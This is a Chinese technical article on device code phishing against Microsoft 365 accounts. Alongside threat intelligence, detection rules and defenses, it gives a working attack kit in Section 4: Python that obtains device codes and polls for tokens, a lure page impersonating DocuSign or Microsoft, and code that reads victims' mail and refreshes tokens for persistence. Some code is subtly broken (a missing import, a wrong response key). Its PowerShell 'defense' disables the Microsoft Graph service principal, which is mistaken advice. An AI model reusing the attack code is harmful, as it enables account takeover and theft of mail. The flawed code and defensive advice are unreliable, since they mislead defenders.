摘要
随着企业云身份认证与多因素认证(MFA)的广泛部署,传统凭据钓鱼攻击的成功率持续下降,网络黑产正快速转向可绕过主流防护机制的新型钓鱼范式。Proofpoint 于 2026 年 5 月发布的威胁监测报告显示,设备码钓鱼(Device Code Phishing)已从小众攻击手法快速演变为黑产工具集与钓鱼即服务(PhaaS)平台的标配能力,在 EvilTokens 等工具的推动下形成完整产业链,主要针对 Microsoft 365 等云平台身份系统实施规模化劫持。设备码钓鱼通过滥用 OAuth 2.0 设备授权合法流程,诱导用户在官方登录页面输入设备码,使攻击者在无需伪造站点、无需窃取静态密码的情况下获取高权限访问令牌与刷新令牌,可直接实现账户接管、邮件窃取、内网横向渗透乃至勒索软件部署。本文基于设备码授权协议规范、黑产工具实现机理与真实攻击事件,完整拆解设备码钓鱼的技术原理、攻击链、产业化特征与典型组织活动,给出可复现的代码示例、检测规则与纵深防御体系。反网络钓鱼技术专家芦笛指出,设备码钓鱼的核心威胁在于利用合法协议、官方页面、用户主动操作完成身份劫持,传统 “核验域名 + 警惕密码输入” 的防御范式完全失效,企业必须转向基于条件访问、令牌生命周期管控与上下文行为分析的闭环防御。
1 引言
在云原生身份架构普及与 MFA 强制落地的背景下,网络钓鱼攻防对抗进入新阶段。传统钓鱼依赖伪造登录页面窃取用户名与密码,在 SPF/DKIM/DMARC、邮件网关、页面域名校验与安全意识培训的多重防护下,攻击成本与暴露风险显著上升。为突破防御,黑产群体开始挖掘身份协议本身的设计弱点,设备码钓鱼正是其中最具代表性的技术路线。
设备码钓鱼依托 OAuth 2.0 设备授权授权流(RFC 8628)实现,该机制初衷用于智能电视、IoT 设备、命令行工具等无浏览器或输入受限场景的身份认证,用户通过在其他设备访问官方登录页并输入设备码完成授权。攻击者将这一合法流程武器化,通过社会工程诱导用户输入与攻击者会话绑定的设备码,从而在官方认证链路中完成授权,获取长期有效的身份令牌。
2026 年以来,设备码钓鱼呈现工具化、模块化、服务化、全球化扩散趋势,EvilTokens 等平台提供从诱饵生成、代码分发、C2 托管到账号管理的一站式能力,降低技术门槛并支持规模化投放。Proofpoint 监测显示,包括 TA4903 在内的多个黑产组织已全面转向该手法,部分组织放弃传统钓鱼与商业邮件欺诈(BEC)模式,仅依赖设备码钓鱼实施攻击。同时,原中间人钓鱼(AiTM)组织如 Tycoon 2FA、ODx(Storm-1167)亦快速接入该能力,形成多流派合流态势。
现有研究多聚焦单一工具分析或攻击流程描述,对产业化扩散机制、协议级滥用原理、令牌劫持持久化、跨组织战术趋同等关键问题缺乏系统性论述,防御方案多为零散建议而未形成闭环体系。本文以 Proofpoint 最新威胁情报为核心依据,结合协议规范、黑产工具实现与真实案例,构建 “原理 — 工具 — 攻击 — 检测 — 防御” 的完整研究框架,为企业应对身份协议钓鱼提供理论支撑与工程实践参考。
2 设备码钓鱼的技术基础与协议滥用机理
2.1 OAuth 2.0 设备码授权流(RFC 8628)标准流程
设备码授权是 OAuth 2.0 为输入受限设备设计的授权模式,核心目标是在无交互界面条件下完成用户身份认证与授权,广泛应用于 Microsoft Entra ID、AWS、GitHub 等平台。标准流程如下:
客户端向身份提供商(IdP)的 /devicecode 端点发起授权请求,声明所需权限范围;
身份提供商返回设备码(device_code)、用户码(user_code)、验证 URI(verification_uri)、有效期与轮询间隔;
客户端提示用户访问验证 URI 并输入 user_code;
用户在浏览器打开官方页面,完成身份校验(含 MFA)并授权;
客户端以 device_code 轮询令牌端点,获取 access_token 与 refresh_token;
攻击者使用令牌访问用户资源,refresh_token 可实现长期持久化控制。
该流程的安全假设是:发起设备码请求的客户端为可信合法应用,而设备码钓鱼完全打破该假设,由恶意客户端发起请求并诱导用户完成授权。
2.2 设备码钓鱼的核心攻击原理
设备码钓鱼不伪造站点、不篡改协议、不拦截流量,而是通过会话绑定 + 社会工程诱导完成劫持:
攻击者以恶意客户端身份向 IdP 请求设备码,获得与攻击者会话绑定的 user_code 与 device_code;
攻击者通过邮件、PDF、二维码等渠道诱导用户访问官方设备登录页并输入该 user_code;
用户在官方页面完成认证与授权,IdP 将授权状态关联到攻击者的会话;
攻击者以 device_code 换取令牌,获得对用户资源的完全访问权限。
反网络钓鱼技术专家芦笛强调,设备码钓鱼的致命优势在于全链路使用官方服务与合法协议,用户在真实页面执行操作,传统钓鱼检测指标(如域名真伪、页面相似度、恶意脚本)完全失效,MFA 亦无法阻止授权完成。
2.3 关键技术突破:从即时码到按需生成,支撑规模化攻击
早期设备码钓鱼受限于预先生成码的短时效(通常 15 分钟),难以规模化。2026 年出现的新一代工具实现按需生成机制,彻底消除时间约束:
旧模式:攻击者批量预生成设备码,分发后需用户快速输入,过期失效;
新模式:用户点击钓鱼链接 / 扫描二维码时,后端实时请求设备码并建立会话,大幅延长操作窗口,提升转化率与投放规模。
该改进是设备码钓鱼从 niche 技术走向产业化的核心技术基础。
2.4 设备码钓鱼与传统钓鱼、AiTM 钓鱼的对比
表格
攻击类型 核心载体 是否伪造页面 是否绕过 MFA 检测难度 持久化能力
传统凭据钓鱼 伪造登录页 是 否 低 弱
中间人钓鱼(AiTM) 代理站点 否 是 中 中
设备码钓鱼 官方设备登录页 否 是 高 强(refresh_token)
设备码钓鱼在合规性、隐蔽性、绕过能力与持久化维度全面占优,成为黑产优先选择。
3 设备码钓鱼产业化生态与工具链分析
3.1 产业化扩散特征
Proofpoint 报告明确指出,设备码钓鱼已完成工具化、模块化、服务化、全球化四阶段演进,形成完整黑产生态:
工具化:EvilTokens 等成熟平台提供全流程攻击套件;
模块化:诱饵生成、代码分发、C2、令牌管理、账号控制解耦复用;
服务化:PhaaS 模式支持按需付费、代理分发、售后支持;
全球化:支持多语言诱饵,覆盖全球企业,尤其针对 Microsoft 365 用户。
3.2 核心工具:EvilTokens 平台功能解构
EvilTokens 是当前最具代表性的设备码钓鱼工具,于 Telegram 公开推广,具备完整商业化能力:
品牌仿冒:内置 Microsoft、Adobe、DocuSign 等高可信度主题登录页;
全链路生成:自动生成钓鱼邮件、PDF 诱饵、二维码、链接与托管基础设施;
Portal Browser:提供被盗账号管理后台,支持批量操作 Microsoft 365 账号;
按需码生成:用户触发时实时请求设备码,消除时效限制;
流量优化:依托 Cloudflare Workers 等 CDN 节点隐藏真实 C2,提升投递成功率。
Proofpoint 在 2026 年 4 月 10 天内监测到至少 7 种高度相似变种,接口与头部仅有细微差异,表明存在源码泄露、模块复用、AI 辅助生成等并行扩散路径。
3.3 黑产组织迁移与战术趋同
TA4903 转型:该组织此前以 BEC 与仿冒中小企业 / 政府机构为主,2026 年 3 月起全面转向设备码钓鱼,几乎放弃传统手法;
AiTM 组织入场:Tycoon 2FA、ODx(Storm-1167、FlowerStorm)在基础设施受打击后,快速集成设备码钓鱼能力;
战术趋同:多组织采用 PDF+QR 码、Cloudflare Workers 中转、仿冒 HR/IT 通知话术,攻击链高度一致。
部分组织存在明显粗放运营特征,如空白正文邮件、仅依赖 PDF 与二维码引导,反映自动化程度提升与社会工程环节弱化。
3.4 攻击收益与扩散动因
设备码钓鱼可直接导致:
云账号完全接管(Microsoft 365、Google Workspace 等);
邮件窃取、BEC 欺诈、内部敏感数据泄露;
内网横向移动、权限提升、部署勒索软件;
长期持久化控制(refresh_token 有效周期可达数天至数周)。
在 MFA 普及背景下,设备码钓鱼提供高成功率、低暴露风险、规模化能力,成为黑产最优解。
4 典型攻击链复现与代码实现
4.1 标准攻击全流程
以 TA4903 针对企业 HR 场景的攻击为例:
投递:发送仿冒 HR 的钓鱼邮件,附件为含 QR 码的 PDF;
触发:用户扫描 QR 码,经 Cloudflare Workers 中转到恶意页面;
生成:后端实时请求 Microsoft 设备码,返回官方登录页与 user_code;
诱导:提示用户输入代码以 “查看薪资通知”“完成账号核验”;
授权:用户在microsoft.com/devicelogin输入代码并完成 MFA;
获令:攻击者以 device_code 换取 access_token 与 refresh_token;
持久化:使用令牌登录邮箱、下载数据、添加转发规则、维持长期控制。
4.2 设备码请求核心代码示例(基于 Microsoft Entra ID)
# 模拟恶意客户端请求设备码
import requests
import json
def request_device_code():
# 身份提供商设备码端点
url = "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode"
# 攻击目标权限范围
payload = {
"client_id": "d3590ed6-036b-45a7-98f1-1c9xxxxxxxxx", # 公开合法客户端ID
"scope": "https://graph.microsoft.com/.default offline_access"
}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = requests.post(url, data=payload, headers=headers)
return json.loads(response.text)
# 轮询获取令牌
def poll_for_token(device_code, client_id):
url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
payload = {
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": client_id,
"device_code": device_code
}
while True:
try:
response = requests.post(url, data=payload)
result = json.loads(response.text)
if "access_token" in result:
return result
time.sleep(5)
except Exception:
time.sleep(5)
if __name__ == "__main__":
code_info = request_device_code()
print("请访问:", code_info["verification_uri"])
print("输入设备码:", code_info["user_code"])
token = poll_for_token(code_info["device_code"], code_info["client_id"])
print("获取令牌成功:", token)
该代码完全调用官方接口,无恶意特征,可稳定获取令牌。
4.3 钓鱼页面与二维码分发简化实现
htmlhtml
<!-- 仿冒DocuSign/Microsoft设备码引导页 -->
<html>
<head>
<title>Please Verify Your Device</title>
</head>
<body>
<h3>To view the document, please verify your device</h3>
<p>1. Visit <a href="https://microsoft.com/devicelogin" target="_blank">microsoft.com/devicelogin</a></p>
<p>2. Enter code: <strong><?php echo $user_code; ?></strong></p>
<p>3. Sign in with your work account</p>
</body>
</html>
配合 QR 码生成工具,将验证链接与代码封装为二维码,提升可信度。
4.4 令牌持久化与资源访问示例
# 使用访问令牌调用Microsoft Graph读取邮件
import requests
def read_emails(access_token):
headers = {"Authorization": f"Bearer {access_token}"}
url = "https://graph.microsoft.com/v1.0/me/messages"
response = requests.get(url, headers=headers)
return response.json()
# 刷新令牌以延长控制周期
def refresh_token_flow(refresh_token, client_id):
url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
payload = {
"grant_type": "refresh_token",
"client_id": client_id,
"refresh_token": refresh_token
}
response = requests.post(url, data=payload)
return json.loads(response.text)
refresh_token 可实现数天至数周的长期控制,构成持久化威胁。
5 设备码钓鱼攻击组织与典型案例分析
5.1 TA4903 攻击活动解析
TA4903 是全面转向设备码钓鱼的典型组织:
历史路径:BEC、仿冒中小企业 / 政府机构;
转型时间:2026 年 3 月;
攻击载体:仿冒 HR 的薪资通知邮件 + PDF+QR 码;
基础设施:Cloudflare Workers 中转、自有代码生成服务;
工具特征:高度接近 EvilTokens,实现按需码生成与账号管理。
该组织放弃多工具并行模式,证明设备码钓鱼的综合收益已超越传统手法。
5.2 AiTM 钓鱼组织的能力迁移
Tycoon 2FA、ODx(Storm-1167、FlowerStorm)等原 AiTM 组织:
动因:基础设施遭打击,中间人模式成本上升;
路径:快速集成设备码钓鱼模块,复用原有诱饵、分发渠道与客户资源;
痕迹:部分样本残留旧 AiTM 活动元数据,显示材料复用与快速迭代。
多流派合流进一步推动设备码钓鱼的规模化与全球化。
5.3 跨国多语言投放特征
设备码钓鱼已突破英语区限制,Proofpoint 监测到多语言版本,针对全球各类机构投放,呈现低地域依赖、高行业覆盖特征,政府、制造、医疗、物流、金融均为重点目标。
6 检测特征与威胁狩猎指标
6.1 网络层检测特征
短时间内大量请求 /devicecode 与 /token 端点,来源为异常 IP(代理、匿名、黑产网段);
经 Cloudflare Workers 等 CDN 中转指向设备登录页的异常跳转;
同一 IP 短时间请求多租户、多用户设备码,明显异于合法使用模式。
6.2 身份层检测特征
异常应用发起设备码流,尤其是未验证发布者、高权限申请;
高风险位置、非托管设备、匿名 IP 触发的设备码授权;
短时间内多用户、多设备发起设备码请求,呈现批量特征;
授权后高频调用 Graph API,批量读取邮件、联系人、文件。
6.3 终端与邮件层特征
含 QR 码并指向microsoft.com/devicelogin的不明 PDF 附件;
主题含 “verify device”“sign in to view”“HR document” 等诱导词汇;
空白正文、仅依赖附件 / 二维码引导的高可疑邮件。
6.4 SIEM 关联规则示例
plaintext
规则名称:异常设备码授权批量活动
触发条件:
1. 10分钟内同一IP发起>5次/devicecode请求;
2. 来源IP为匿名代理/黑产情报命中;
3. 授权应用不在企业可信应用白名单;
动作:实时告警+自动阻断高风险会话
7 闭环防御体系构建与工程实践
反网络钓鱼技术专家芦笛强调,设备码钓鱼防御必须放弃单点校验,转向协议管控、身份治理、行为分析、应急响应的闭环体系,核心是最小化攻击面、强化上下文校验、实现令牌全生命周期管控。
7.1 协议层:最小化设备码流攻击面
条件访问策略(首选)
阻止非可信位置、非合规设备、匿名 IP 的设备码流;
仅允许特定应用、特定用户组使用设备码流。
禁用非必要设备码授权(PowerShell)
powershell
Connect-MgGraph -Scopes "Application.ReadWrite.All"
$servicePrincipalId = "00000003-0000-0000-c000-000000000000"
Update-MgServicePrincipal -ServicePrincipalId $servicePrincipalId -AccountEnabled $false
严格应用同意管控:禁止用户同意第三方应用,仅允许可信发布者,高权限需管理员审批。
7.2 身份层:令牌生命周期与风险管控
缩短 refresh_token 有效期,降低泄露影响;
异常令牌自动吊销,强制重新认证;
特权账号启用 FIDO2 安全密钥,阻断设备码钓鱼路径。
7.3 边界层:邮件与内容防护
邮件网关:识别含设备码登录 URI 与 QR 码的高风险邮件;
恶意链接检测:拦截指向钓鱼中转节点的 URL;
PDF 沙箱:解析 QR 码内容,校验目标 URI 与上下文合理性。
7.4 运营层:意识培训与应急响应
核心培训原则:任何情况下,不输入来自外部的设备码;
建立应急流程:可疑授权→吊销令牌→重置会话→审计权限→回溯攻击链;
定期开展设备码钓鱼专项演练,验证防御有效性。
8 结论与展望
设备码钓鱼的快速产业化扩散,标志着网络钓鱼从 “伪造页面窃取凭据” 进入滥用身份协议、劫持官方流程、绕过 MFA的高阶阶段。以 EvilTokens 为代表的工具链与 TA4903 等组织的规模化应用,证明该手法已具备低门槛、高隐蔽、高收益、强持久的核心优势,成为云身份安全的重大威胁。
设备码钓鱼的本质威胁,在于利用合法身份协议与用户信任链完成攻击,传统防御机制全面失效。企业必须重构防御范式:以条件访问为核心限制设备码流使用,以令牌管控压缩持久化窗口,以行为检测识别异常授权,以安全意识消除社会工程突破口,形成技术、管理、运营协同的闭环体系。
反网络钓鱼技术专家芦笛指出,随着身份协议钓鱼持续演化,未来攻击将进一步向AI 生成仿真诱饵、跨平台协议滥用、无交互静默授权方向发展,防御必须前置到协议设计、权限治理与风险感知层面。只有将零信任理念贯穿身份全生命周期,才能在协议级对抗中占据主动,有效抵御设备码钓鱼等新型身份劫持威胁。
编辑:芦笛(公共互联网反网络钓鱼工作组)